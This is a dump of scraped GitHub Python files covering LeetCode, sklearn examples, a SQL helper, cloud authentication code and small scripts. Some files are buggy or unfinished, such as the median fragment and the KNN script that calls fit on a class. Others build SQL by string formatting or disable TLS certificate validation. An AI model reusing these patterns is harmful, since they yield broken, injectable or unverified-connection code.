nums2: List[int]\n :rtype: float\n \"\"\"\n merged_nums = []\n length = min(len(nums1), len(nums2))\n # compare two arrays up to \n while (i < length) and (j < length) and (i+j) < length//2:\n if nums1[i] < nums2[j]:\n merged_nums.append(nums1[i])\n i+=1\n elif nums1[i] == nums2[j]:\n merged_nums.extend([nums1[i], nums2[j]])\n i+=1\n j+=1\n else:\n merged_nums.append(nums[j])\n j+=1\n if i == length:\n merged_nums.extend(nums1[i:])\n elif j == length:\n merged_nums.extend(nums2[j:])\n return\n","repo_name":"gaolingshan/LeetcodePython","sub_path":"004MedianofTwoSortedArrays.py","file_name":"004MedianofTwoSortedArrays.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8261925194","text":"from sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.metrics import accuracy_score\nimport matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA, FastICA\nclass LDAAlgo():\n def run_lda(self, ida_target_n, ida_component_range, X_train, y_train, X_test, y_test, data_set_name):\n total_explained_variance_ratio = []\n components_range = range(ida_component_range)\n for n_component in components_range:\n lda = LinearDiscriminantAnalysis(n_components=n_component)\n X_lda = lda.fit_transform(X_train, y_train)\n explained_variance_sum = lda.explained_variance_ratio_.sum()\n total_explained_variance_ratio.append(explained_variance_sum)\n\n plt.xlabel(\"Number of Components\")\n plt.ylabel(\"Total Explained Variance Ratio\")\n plt.title(\"Total Explained Variance Ratio for various Number of Component\")\n xticks_names = []\n for n in list(components_range):\n xticks_names.append(str(n))\n plt.plot(components_range, total_explained_variance_ratio, marker='o')\n plt.savefig('plots/' + data_set_name + '_lda_explained_ratrio_over_component.png')\n plt.close()\n\n pca = PCA(n_components=ida_target_n, random_state=42)\n X_pca = pca.fit_transform(X_train, y_train)\n plt.xlabel('PC1')\n plt.ylabel('PC2')\n plt.scatter(\n X_pca[:,0],\n X_pca[:,1],\n c=y_train,\n cmap='rainbow',\n alpha=0.7,\n edgecolors='b'\n )\n plt.savefig('plots/' + data_set_name + '_lda_pca_transformed_x_comparison.png')\n plt.close()\n\n target_component = ida_target_n\n lda = LinearDiscriminantAnalysis(n_components=target_component)\n X_lda = lda.fit_transform(X_train, y_train)\n\n plt.xlabel('LD1')\n plt.ylabel('LD2')\n plt.scatter(\n X_lda[:,0],\n X_lda[:,1],\n c=y_train,\n cmap='rainbow',\n alpha=0.7,\n edgecolors='b'\n )\n plt.savefig('plots/' + data_set_name + '_lda_transformed_x.png')\n plt.close()\n\n y_pred = lda.predict(X_test)\n acc_score = accuracy_score(y_test, y_pred)\n print(\"LDA acc_score \" + str(acc_score))","repo_name":"yilu1021/dr3","sub_path":"lda.py","file_name":"lda.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71618069334","text":"import os\nimport traceback\n\nfrom django.db import models\nimport pandas as pd\nimport sqlalchemy.types as types\nfrom sqlalchemy import create_engine\n\nfrom .properties_util import prop\n\n\nclass DbUtil(object):\n def __init__(self, file_name='ftdb.properties', config=None):\n if not config:\n config_file = 'PyVbord/static/{}'.format(file_name)\n properties = prop.get_config_dict(config_file)\n config = {\n 'host': properties['host'],\n 'port': int(properties['port']),\n 'database': properties['database'],\n 'user': properties['user'],\n 'password': properties['password'],\n 'charset': properties['charset'],\n 'driver': properties['driver'],\n }\n self.engine = create_engine(\n \"{}://{}:{}@{}:{}/{}?charset={}\".format(config['driver'], config['user'], config['password'],\n config['host'], config['port'], config['database'],\n config['charset']), pool_pre_ping=True)\n\n def read_sql_table(self, table):\n return pd.read_sql_table(table, self.engine)\n\n def read_sql(self, sql, params=None):\n return pd.read_sql(sql, self.engine, params=params)\n\n def save(self, df, table, if_exist='append', chunksize=100, index=False):\n type_dict = set_d_type_dict(df)\n df.to_sql(table, self.engine, if_exists=if_exist, index=index, dtype=type_dict, chunksize=chunksize)\n\n def query(self, sql):\n return self.engine.execute(sql).fetchall()\n\n def query_single(self, sql):\n return self.engine.execute(sql).fetchone()\n\n def update(self, sql):\n return self.engine.execute(sql)\n\n def update_prepared_statement(self, prepared_sql, params):\n \"\"\" 对SQL语句预编译,避免SQL语句中含有%等特殊符号时写入报错\n 参考用法:\n db = DBUtil('...')\n sql = text(\"insert issue_info_library_copy2 set `value` = :value,field = :field,issue_id = :issue_id\")\n params = {\n 'value': 'value', 'field': 1, 'issue_id': 'issue_id'\n }\n db.update_prepared_statement(prepared_sql, params)\n\n \"\"\"\n return self.engine.execute(prepared_sql, params)\n\n def batch_operator(self, df, table_name, batch_size, update=False, updates=None):\n \"\"\"\n 批��插入、更新操作\n :param df:\n :param table_name:\n :param batch_size: 一次插入的条数\n :param update: 是否更新\n :param updates: 更新语句\n :return:\n \"\"\"\n if len(df) == 0:\n return\n batch_num = int(len(df) / batch_size) + 1\n for i in range(batch_num):\n start = i * batch_size\n if start >= len(df):\n break\n chunk = df[start: start + batch_size]\n try:\n if update:\n self.update(self.generate_update_sql(chunk, table_name, updates))\n else:\n self.update(self.generate_insert_sql(chunk, table_name))\n except Exception:\n traceback.print_exc()\n\n def batch_save(self, df, table_name, batch_size=10000):\n \"\"\"\n 批量插入\n :param df:\n :param table_name:\n :param batch_size: 一次插入的条数\n :return:\n \"\"\"\n self.batch_operator(df, table_name, batch_size)\n\n def batch_update(self, df, table_name, batch_size=10000, updates=None):\n \"\"\"\n 批量更新,利用MySQl on duplicate key语法,根据唯一建去重\n :param df:\n :param table_name\n :param batch_size\n :param updates\n :return:\n \"\"\"\n self.batch_operator(df, table_name, batch_size, True, updates)\n\n @staticmethod\n def serialize_data(df):\n for col, dtype in zip(df.columns, df.dtypes):\n if 'datetime' in dtype.name:\n df[col] = df[col].apply(lambda x: x.strftime('%Y-%m-%d %H:%M:%S'))\n elif 'date' in dtype.name:\n df[col] = df[col].apply(lambda x: x.strftime('%Y-%m-%d'))\n if len(df.columns) == 1:\n col = df.columns.values[0]\n vals_str = \"),(\".join([f\"'{x.strip()}'\" for x in df[col].to_list()])\n data = f\"({vals_str})\"\n else:\n data = str(df.to_records(index=False).tolist())[1:-1]\n return data.replace('nan', 'null').replace('None', 'null').replace('%', '%%')\n\n def generate_update_sql(self, df, table_name, updates=None):\n columns = list(df.columns.values)\n cols = \",\".join([f\"`{x}`\" for x in columns])\n if not updates:\n updates = \",\".join([f\"{x}=values({x})\" for x in columns])\n data = self.serialize_data(df)\n sql = f\"insert into `{table_name}` ({cols}) values {data} on duplicate key update {updates};\"\n return sql\n\n def generate_insert_sql(self, df, table_name):\n \"\"\"\n 生成批量插入SQL的语句\n :param df:\n :param table_name: 表名\n :return:\n \"\"\"\n columns = list(df.columns.values)\n cols = \",\".join([f\"`{x}`\" for x in columns])\n data = self.serialize_data(df)\n sql = f\"INSERT INTO `{table_name}` ({cols}) VALUES {data};\"\n return sql\n\n\ndef set_d_type_dict(df):\n type_dict = {}\n for i, j in zip(df.columns, df.dtypes):\n if \"object\" in str(j):\n type_dict.update({i: types.NVARCHAR(255)})\n if \"float\" in str(j):\n type_dict.update({i: types.DECIMAL(19, 2)})\n if \"int\" in str(j):\n type_dict.update({i: types.INTEGER})\n return type_dict\n\n\nclass CustomerDBManager(models.Manager):\n \"\"\"\n 功能描述 : 自定义数据库管理类,用于实现数据表模型与数据库的映射关系\n CustomerDBManager使用案例:\n class MyTableModel(models.Model):\n use_db = 'special_db' # core\n objects = CustomerDBManager() # core\n field_1 = models.CharField(max_length=200)\n field_2...\n \"\"\"\n\n def get_queryset(self):\n qs = super().get_queryset()\n\n # if `use_db` is set on model use that for choosing the DB\n if hasattr(self.model, 'use_db'):\n qs = qs.using(self.model.use_db)\n return qs\n","repo_name":"xxo93/blog_dj","sub_path":"scripts/db_utils.py","file_name":"db_utils.py","file_ext":"py","file_size_in_byte":6392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4561870401","text":"import base64\nimport logging\nimport urllib2\nimport xml\n\nfrom beaker.cache import cache_region\nfrom boto import ec2\nfrom boto.ec2.connection import EC2Connection\n# uncomment to enable boto request logger. Use only for development (see ref in _euca_connection)\n#from boto.requestlog import RequestLogger\nimport boto.ec2.autoscale\nimport boto.ec2.cloudwatch\nimport boto.ec2.elb\nimport boto.iam\nfrom boto.handler import XmlHandler as BotoXmlHandler\nfrom boto.regioninfo import RegionInfo\nfrom boto.sts.credentials import Credentials\nfrom pyramid.security import Authenticated, authenticated_userid\n\n\nclass User(object):\n \"\"\"Authenticated/Anonymous User object for Pyramid Auth.\n Note: This is not an IAM User object (maybe not yet anyway)\n \"\"\"\n def __init__(self, user_id=None):\n self.user_id = user_id\n\n @classmethod\n def get_auth_user(cls, request):\n \"\"\"Get an authenticated user. Note that self.user_id = None if not authenticated.\n See: http://docs.pylonsproject.org/projects/pyramid_cookbook/en/latest/auth/user_object.html\n \"\"\"\n user_id = authenticated_userid(request)\n return cls(user_id=user_id)\n\n def is_authenticated(self):\n \"\"\"user_id will be None if the user isn't authenticated\"\"\"\n return self.user_id\n\n\nclass ConnectionManager(object):\n \"\"\"Returns connection objects, pulling from Beaker cache when available\"\"\"\n @staticmethod\n def aws_connection(region, access_key, secret_key, token, conn_type):\n \"\"\"Return AWS EC2 connection object\n Pulls from Beaker cache on subsequent calls to avoid connection overhead\n\n :type region: string\n :param region: region name (e.g. 'us-east-1')\n\n :type access_key: string\n :param access_key: AWS access key\n\n :type secret_key: string\n :param secret_key: AWS secret key\n\n :type conn_type: string\n :param conn_type: Connection type ('ec2', 'autoscale', 'cloudwatch', or 'elb')\n\n \"\"\"\n cache_key = 'aws_connection_cache_{conn_type}_{region}'.format(conn_type=conn_type, region=region)\n\n # @cache_region('short_term', cache_key)\n def _aws_connection(_region, _access_key, _secret_key, _token, _conn_type):\n conn = None\n if conn_type == 'ec2':\n conn = ec2.connect_to_region(\n _region, aws_access_key_id=_access_key, aws_secret_access_key=_secret_key, security_token=_token)\n elif conn_type == 'autoscale':\n conn = ec2.autoscale.connect_to_region(\n _region, aws_access_key_id=_access_key, aws_secret_access_key=_secret_key, security_token=_token)\n elif conn_type == 'cloudwatch':\n conn = ec2.cloudwatch.connect_to_region(\n _region, aws_access_key_id=_access_key, aws_secret_access_key=_secret_key, security_token=_token)\n if conn_type == 'elb':\n conn = ec2.elb.connect_to_region(\n _region, aws_access_key_id=_access_key, aws_secret_access_key=_secret_key, security_token=_token)\n return conn\n\n return _aws_connection(region, access_key, secret_key, token, conn_type)\n\n @staticmethod\n def euca_connection(clchost, port, access_id, secret_key, token, conn_type):\n \"\"\"Return Eucalyptus connection object\n Pulls from Beaker cache on subsequent calls to avoid connection overhead\n\n :type clchost: string\n :param clchost: FQDN or IP of Eucalyptus CLC (cloud controller)\n\n :type port: int\n :param port: Port of Eucalyptus CLC (usually 8773)\n\n :type access_id: string\n :param access_id: Euca access id\n\n :type secret_key: string\n :param secret_key: Eucalyptus secret key\n\n :type conn_type: string\n :param conn_type: Connection type ('ec2', 'autoscale', 'cloudwatch', or 'elb')\n\n \"\"\"\n cache_key = 'euca_connection_cache_{conn_type}_{clchost}_{port}'.format(\n conn_type=conn_type, clchost=clchost, port=port\n )\n\n # @cache_region('short_term', cache_key)\n def _euca_connection(_clchost, _port, _access_id, _secret_key, _token, _conn_type):\n region = RegionInfo(name='eucalyptus', endpoint=_clchost)\n path = '/services/Eucalyptus'\n conn_class = EC2Connection\n api_version = '2012-12-01'\n\n # Configure based on connection type\n if conn_type == 'autoscale':\n api_version = '2011-01-01'\n conn_class = boto.ec2.autoscale.AutoScaleConnection\n path = '/services/AutoScaling'\n elif conn_type == 'cloudwatch':\n path = '/services/CloudWatch'\n conn_class = boto.ec2.cloudwatch.CloudWatchConnection\n elif conn_type == 'elb':\n path = '/services/LoadBalancing'\n conn_class = boto.ec2.elb.ELBConnection\n elif conn_type == 'iam':\n path = '/services/Euare'\n conn_class = boto.iam.IAMConnection\n\n if conn_type == 'sts':\n conn = EucaAuthenticator(_clchost, _port)\n elif conn_type != 'iam':\n conn = conn_class(\n _access_id, _secret_key, region=region, port=_port, path=path, is_secure=True, security_token=_token\n )\n else:\n conn = conn_class(\n _access_id, _secret_key, host=_clchost, port=_port, path=path, is_secure=True, security_token=_token\n )\n\n # AutoScaling service needs additional auth info\n if conn_type == 'autoscale':\n conn.auth_region_name = 'Eucalyptus'\n\n if conn_type != 'sts': # this is the only non-boto connection\n setattr(conn, 'APIVersion', api_version)\n conn.https_validate_certificates = False\n conn.http_connection_kwargs['timeout'] = 30\n # uncomment to enable boto request logger. Use only for development\n #conn.set_request_hook(RequestLogger())\n return conn\n\n return _euca_connection(clchost, port, access_id, secret_key, token, conn_type)\n\n\ndef groupfinder(user_id, request):\n if user_id is not None:\n return [Authenticated]\n return []\n\n\nclass EucaAuthenticator(object):\n \"\"\"Eucalyptus cloud token authenticator\"\"\"\n TEMPLATE = 'https://{host}:{port}/services/Tokens?Action=GetAccessToken&DurationSeconds={dur}&Version=2011-06-15'\n\n def __init__(self, host, port):\n \"\"\"\n Configure connection to Eucalyptus STS service to authenticate with the CLC (cloud controller)\n\n :type host: string\n :param host: IP address or FQDN of CLC host\n\n :type port: integer\n :param port: port number to use when making the connection\n\n \"\"\"\n self.host = host\n self.port = port\n\n def authenticate(self, account, user, passwd, new_passwd=None, timeout=15, duration=3600):\n if user == 'admin' and duration > 3600: # admin cannot have more than 1 hour duration\n duration = 3600\n # because of the variability, we need to keep this here, not in __init__\n self.auth_url = self.TEMPLATE.format(\n host=self.host,\n port=self.port,\n dur=duration,\n )\n req = urllib2.Request(self.auth_url)\n\n if new_passwd:\n auth_string = \"{user}@{account};{pw}@{new_pw}\".format(\n user=base64.b64encode(user),\n account=base64.b64encode(account),\n pw=base64.b64encode(passwd),\n new_pw=new_passwd\n )\n else:\n auth_string = \"{user}@{account}:{pw}\".format(\n user=base64.b64encode(user),\n account=base64.b64encode(account),\n pw=passwd\n )\n encoded_auth = base64.b64encode(auth_string)\n req.add_header('Authorization', \"Basic %s\" % encoded_auth)\n response = urllib2.urlopen(req, timeout=timeout)\n body = response.read()\n\n # parse AccessKeyId, SecretAccessKey and SessionToken\n creds = Credentials()\n h = BotoXmlHandler(creds, None)\n xml.sax.parseString(body, h)\n logging.info(\"Authenticated Eucalyptus user: \" + account + \"/\" + user)\n return creds\n\n\nclass AWSAuthenticator(object):\n\n def __init__(self, package):\n \"\"\"\n Configure connection to AWS STS service\n\n :type package: string\n :param package: a pre-signed request string for the STS GetSessionToken call\n\n \"\"\"\n self.endpoint = 'https://sts.amazonaws.com'\n self.package = package\n\n def authenticate(self, timeout=20):\n \"\"\" Make authentication request to AWS STS service\n Timeout defaults to 20 seconds\"\"\"\n req = urllib2.Request(self.endpoint, data=self.package)\n response = urllib2.urlopen(req, timeout=timeout)\n body = response.read()\n\n # parse AccessKeyId, SecretAccessKey and SessionToken\n creds = Credentials()\n h = BotoXmlHandler(creds, None)\n xml.sax.parseString(body, h)\n logging.info(\"Authenticated AWS user\")\n return creds\n\n","repo_name":"habuka036/eucaconsole","sub_path":"eucaconsole/models/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":9256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"16255679686","text":"#########################################################################################################\n##Name: Shannon Jeffers\n##Assignment: Homework 2 number 5 part a\n#########################################################################################################\nfrom collections import deque\nfrom collections import defaultdict\nimport sys\n\n#open file from command line, handles file closing\nwith open(sys.argv[1], \"r\") as myFile:\n\t#read in number of wrestlers\n\tnumWrestler = myFile.readline().strip('\\n').split(\" \")\n\tnumWrestler = int(numWrestler[0])\n\twrestlers = []\n\t#read in each wrestler name\n\tfor x in range(0, numWrestler):\n\t\ttemp = myFile.readline().strip('\\n').split(\" \")\n\t\twrestlers.append(temp[0])\n\t# read in number of rivalries\n\tnumRivalries = myFile.readline().strip('\\n').split(\" \")\n\tnumRivalries = int(numRivalries[0])\n\trivalries = []\n\t#read in each rivalry pair\n\tfor x in range(0, numRivalries):\n\t\trivalries.append(myFile.readline().strip('\\n').split(\" \"))\nteams = {}\nchecked = {}\n\n#create a dictionary of lists\nrivals = defaultdict(list)\n#fill dictionary of lists with rivalries\nfor a, b in rivalries:\n rivals[a].append(b)\n rivals[b].append(a)\n#set up teams and checked to default values\nfor w in wrestlers:\n\tteams[w] = 0\n\tchecked[w] = 0\n\ndef isValid(teams, rivals, w, c, s):\n\tQ = deque()\n\tQ.append(s)\n\t#while there is an item in the queue\n\twhile Q:\n\t\t#remove the first item\n\t\tu = Q.popleft()\n\t\t#indicate it has been checked\n\t\tc[u] = 1\n\t\t#if it doesnt have a team, make it a babyface\n\t\tif teams[u] == 0:\n\t\t\tteams[u] = \"Babyface\"\n\t\t#loop through all its rivals\n\t\tfor rival in rivals[u]:\n\t\t\t#if rival doesnt have a team make it opposite of u\n\t\t\tif teams[rival] == 0:\n\t\t\t\tif teams[u] == \"Babyface\":\n\t\t\t\t\tteams[rival] = \"Heel\"\n\t\t\t\telse:\n\t\t\t\t\tteams[rival] = \"Babyface\"\n\t\t\t#if it does have a team and the team is the same as u this graph isnt correct\n\t\t\tif teams[u] == teams[rival] and teams[rival] != 0:\n\t\t\t\treturn False\n\t\t\t#if the rival hasnt been checked, add it to the queue\n\t\t\tif c[rival] == 0:\n\t\t\t\tQ.append(rival)\n\t#if we made it this far, graph is fine!\n\treturn True\n\nbabyface = []\nheels = []\n#loop through teams to place wrestlers in their porper team\nfor key in teams:\n\tif teams[key] == \"Babyface\":\n\t\tbabyface.append(key)\n\telif teams[key] == \"Heel\":\n\t\theels.append(key)\n\telse:\n\t\tanswer = isValid(teams, rivals, wrestlers, checked, key)\n\t\tif teams[key] == \"Babyface\":\n\t\t\tbabyface.append(key)\n\t\telif teams[key] == \"Heel\":\n\t\t\theels.append(key)\n\tif not answer:\n\t\tbreak;\n\nprint (answer)\nif answer:\n\tmystr = \" \".join(babyface)\n\tprint (\"Babyfaces:\", mystr)\n\tmystr = \" \".join(heels)\n\tprint (\"Heels:\", mystr)","repo_name":"sjeff002/CS325","sub_path":"Homework5/wrestlerv2.py","file_name":"wrestlerv2.py","file_ext":"py","file_size_in_byte":2638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28414382991","text":"import numpy as np\nfrom sklearn import preprocessing, neighbors, model_selection\nimport pandas as pd\n\n\n# Load Data\ndf = pd.read_csv('breast-cancer-wisconsin.data.txt')\n\n# Replace the question marks with a number\ndf.replace('?', -99999, inplace=True)\n\n# Drop the ID columns\ndf.drop(['id'], 1, inplace=True)\n\n# Create our features\nX = np.array(df.drop(['class'], 1))\n\n# Create our labels\ny = np.array(df['class'], 1)\n\n# Split the data into training and testing parts\nX_train, X_test, y_train, y_test = model_selection.train_test_split(X, y, test_size=0.2)\n\n# Define the classifier\nclassifier = neighbors.KNeighborsClassifier\n\n# Train the data\nclassifier.fit(X_train, y_train)\n\n# Test the data\naccuracy = classifier.score(X_test, y_test)\n\nprint(accuracy)\n\n\n# Create sample data\nexample_measures = np.array([4, 2, 1, 1, 1, 2, 3, 2, 1])\nexample_measures = example_measures.reshape(1, -1)\nexample_measures = example_measures.reshape(len(example_measures), -1)\n\nprediction = classifier.predict(example_measures)\n\nprint()\n\n","repo_name":"Ermain-12/KNN_Simple_Example","sub_path":"KNN_Intro.py","file_name":"KNN_Intro.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21645576268","text":"import os\nimport json\nimport pickle\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.decomposition import PCA\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.ensemble import VotingClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\n\nclass EnsambleModel:\n def __init__(self):\n # Define the individual models\n knn = KNeighborsClassifier()\n rf = RandomForestClassifier(max_depth=10)\n\n # Define the pipeline:\n # 1. minmax scaler\n # 2. feature extraction with pca for reducing the number of features \n # (you should test this apart for your specific dataset)\n # 3. ensamble model composed by random forest and support vector machines\n self.pipe = Pipeline([\n ('scaler', MinMaxScaler()),\n (\"pca\", PCA()), \n ('ensemble', VotingClassifier(\n estimators=[\n ('knn', knn),\n ('rf', rf),\n ],\n voting='soft')\n )\n ])\n\n def train(self, X, y, savedir='model_files'):\n \n # split in train and test\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\n \n # Define a minimal parameter grid\n # (the parameters are only for the ensamble components)\n param_grid = {\n 'pca__n_components': [X.shape[1]//2], # reduce the features by half with PCA\n 'ensemble__knn__n_neighbors': [3, 10], # knn neighbours\n 'ensemble__rf__n_estimators': [5, 10], # estimators in random forest\n }\n\n # Create a GridSearchCV object\n grid = GridSearchCV(\n self.pipe,\n param_grid,\n cv=2, # the dataset is large so in this case only we perform a small cv\n n_jobs=-1,\n verbose=3,\n scoring='accuracy'\n )\n\n # Train the GridSearchCV\n grid.fit(X_train, y_train)\n\n # Print the best parameters and score\n print('Best parameters found by gridsearch:', grid.best_params_)\n print('Best cross validation score in gridsearch:', grid.best_score_)\n print('Score in test set:', grid.best_estimator_.score(X_test, y_test))\n\n # Save the best parameters to a JSON file\n os.makedirs(savedir, exist_ok=True)\n with open(os.path.join(savedir,'best_params.json'), 'w') as f:\n json.dump(grid.best_params_, f)\n\n # Save the best model to a binary file\n with open(os.path.join(savedir,'best_model.pkl'), 'wb') as f:\n pickle.dump(grid.best_estimator_, f)\n\n def predict(self, X):\n return self.pipe.predict(X)\n \n def predict_prob(self, X):\n return self.pipe.predict_proba(X)\n \n def load(self, loaddir='model_files'):\n # Load the saved model from binary file\n with open(os.path.join(loaddir,'best_model.pkl'), 'rb') as f:\n self.pipe = pickle.load(f)\n \n","repo_name":"mttga/neural_academy_digit_recognition","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"42227952562","text":"#!/usr/bin/env python3\r\n\r\n\r\nclass Kwiatek:\r\n def __init__(self, kolor, nazwa):\r\n self.kolor = kolor\r\n self.nazwa = nazwa\r\n\r\n def wyswietl(self):\r\n print(\"Kolor kwiatka to {} a jego nazwa to {}\".format(self.kolor, self.nazwa))\r\n\r\n\r\nkolor = input(\"Podaj kolor kwiatka: \")\r\nnazwa = input(\"Jak nazywa sie kwiatek: \")\r\n\r\nkwiatek = Kwiatek(kolor, nazwa)\r\nkwiatek.wyswietl()\r\n","repo_name":"BartekDzwonek/PracaDomowa1","sub_path":"Homework3.py","file_name":"Homework3.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4323654835","text":"from django.urls import include, path\nfrom django.views.decorators.csrf import csrf_exempt\nfrom graphene_django.views import GraphQLView\nfrom rest_framework import routers\n\nfrom . import views\nfrom . import drf_views\n\n\nrouter = routers.DefaultRouter()\nrouter.register(r'users', drf_views.UserViewSet)\nrouter.register(r'groups', drf_views.GroupViewSet)\nrouter.register(r'instruments', drf_views.InstrumentViewSet)\n\nurlpatterns = [\n path('instruments/', views.InstrumentListView.as_view(), name='instruments-list'),\n path('instruments//', views.InstrumentDetailView.as_view(), name='instruments-detail'),\n path('musicians/', views.MusicianListView.as_view(), name='musicians-list'),\n path('musicians//', views.MusicianDetailView.as_view(), name='musicians-detail'),\n path('test-mark/', views.TestMarkListView.as_view(), name='test-mark'),\n path('api/', views.MusicAPIView.as_view(), name='music-api'),\n path('drf-api/', include(router.urls)),\n path('api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n path(\"graphql/\", csrf_exempt(GraphQLView.as_view(graphiql=True))),\n path('', views.MusicTemplateView.as_view(), name='music-index')\n]\n","repo_name":"Hitoki/alpha_project","sub_path":"music/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"37859804134","text":"#!/usr/bin/env python3\n\n# Write a program that simulates random read coverage over a chromosome\n# Report min, max, and average coverage\n# Make variables for genome size, read number, read length\n# Input values from the command line\n# Note that you will not sample the ends of a chromosome very well\n# So don't count the first and last parts of a chromsome\n\nimport sys\nimport random\n\ngenome_size = int(sys.argv[1])\nread_num = int(sys.argv[2])\nread_length = int(sys.argv[3])\n\ngenome= [0]*genome_size\nfor i in range(read_num): #create empty genome with the genome size.Fill genome with reads and repeat, counts all of the reads\t\n\tk=random.randint(0, genome_size - read_length)\n\tfor j in range(read_length):\n\t\tgenome[j+k] +=1\n#print(genome)\n\n#find the min, max, avg number of reads\nmin= genome[read_length]\nmax= genome[read_length]\nread = 0\nfor v in genome[read_length:-read_length]: #sampling genome starting at the first 100 and last 100 (100 is the read_length)\n\tif v < min: min=v\n\tif v > max: max=v\n\tread+=v #avg is adding up the reads over the coverage of the genome excluding both ends\nprint(min, max, f'{read/(genome_size - 2*read_length):.5f}')\n\n\n\n\n\n\"\"\"\npython3 xcoverage.py 1000 100 100\n5 20 10.82375\n\"\"\"\n","repo_name":"annguyen642/learning_python","sub_path":"xcoverage.py","file_name":"xcoverage.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8688524082","text":"from collections import deque\n\nN, K = map(int, input().split())\n\ncheck = [0 for _ in range(100001)]\ns = deque([[N, 0]])\n\nwhile s:\n [p, t] = s.popleft()\n if p == K:\n print(t)\n break\n \n if p < 0 or p > 100000 or check[p] == 1:\n continue\n check[p] = 1\n\n s.extend([[p-1,t+1],[p+1,t+1],[p*2,t+1]])","repo_name":"jihunJeong/Algorithm","sub_path":"Baekjoon/Class/Class3/1697.py","file_name":"1697.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2835963854","text":"# Index_to_Archive_Table will take the index_record.json map and\nfrom PIL import Image, ExifTags\nimport pymage_size\nimport pandas as pd\nimport numpy as np\nimport json\nimport os\n\n\ndef main():\n tree = read_json()\n media_urls_dict = get_urls_map()\n df = build_dataframe(tree, media_urls_dict)\n write_csv(df, 'archive_table')\n return\n\ndef get_urls_map():\n media_urls = read_txt()\n media_urls_dict = {}\n for url in media_urls:\n prefix_url = url.replace('.jpg','').replace('.jpeg','').replace('.png','').replace('.webp','')\n media_name_1 = prefix_url.split(\"/\")[-1]\n media_name_3 = prefix_url.split(\"/\")[-3]+url.split(\"/\")[-2]+url.split(\"/\")[-1]\n media_urls_dict[media_name_1] = url\n media_urls_dict[media_name_3] = url\n return media_urls_dict\n\ndef build_dataframe(tree, media_urls_dict):\n all_imgs = []\n for i in range(len(tree['items'])):\n source = tree['items'][i]['folder']\n for j in range(len(tree['items'][i]['items'])):\n brand = tree['items'][i]['items'][j]['folder']\n for k in range(len(tree['items'][i]['items'][j]['items'])):\n genre = tree['items'][i]['items'][j]['items'][k]['folder']\n for l in range(len(tree['items'][i]['items'][j]['items'][k]['items'])):\n category = tree['items'][i]['items'][j]['items'][k]['items'][l]['folder']\n for m in range(len(tree['items'][i]['items'][j]['items'][k]['items'][l]['items'])):\n img = tree['items'][i]['items'][j]['items'][k]['items'][l]['items'][m]\n if (type(img) == type('a')) & (source == ('Company Site')):\n all_imgs.append(img)\n\n all_imgs = sorted(list(set(all_imgs)))\n Columns = ['Source','Brand','Item Type','Width','Height','Size (kB)','Image URL', 'Path']\n #df = pd.DataFrame(pd.np.empty((len(all_imgs), len(Columns))), columns = Columns, index = all_imgs)\n df = pd.DataFrame(np.nan,columns = Columns, index = all_imgs)\n print(str(len(all_imgs)))\n count = 0\n for i in range(len(tree['items'])):\n source = tree['items'][i]['folder']\n for j in range(len(tree['items'][i]['items'])):\n brand = tree['items'][i]['items'][j]['folder']\n for k in range(len(tree['items'][i]['items'][j]['items'])):\n genre = tree['items'][i]['items'][j]['items'][k]['folder']\n for l in range(len(tree['items'][i]['items'][j]['items'][k]['items'])):\n category = tree['items'][i]['items'][j]['items'][k]['items'][l]['folder']\n for m in range(len(tree['items'][i]['items'][j]['items'][k]['items'][l]['items'])):\n img = tree['items'][i]['items'][j]['items'][k]['items'][l]['items'][m]\n if (type(img) == type('a')) & (source == ('Company Site')):\n path = tree['items'][i]['items'][j]['items'][k]['items'][l]['path'] +'/' + img\n try:\n width, height = pymage_size.get_image_size(path).get_dimensions()\n except:\n print(source+\", \"+brand+\", \"+genre+\", \"+category+\", \"+img)\n size = round(os.path.getsize(path)/1000,3)\n url = ''\n img_strip = img.replace('.jpg','').replace('.jpeg','').replace('.png','').replace('.webp','')\n if img_strip in media_urls_dict.keys():\n url = media_urls_dict[img_strip]\n\n if pd.isnull(df.loc[img,'Source']):\n df.loc[img,'Source'] = source\n elif df.loc[img,'Source'] != source:\n print('Dup Error: '+source +' for '+img)\n\n if pd.isnull(df.loc[img,'Brand']):\n df.loc[img,'Brand'] = brand\n elif df.loc[img,'Brand'] != brand:\n print('Dup Error: '+brand +' for '+img)\n\n if pd.isnull(df.loc[img,'Item Type']):\n df.loc[img,'Item Type'] = genre + \" \" + category\n elif df.loc[img,'Item Type'] != genre + \" \" + category:\n df.loc[img,'Item Type'] = df.loc[img,'Item 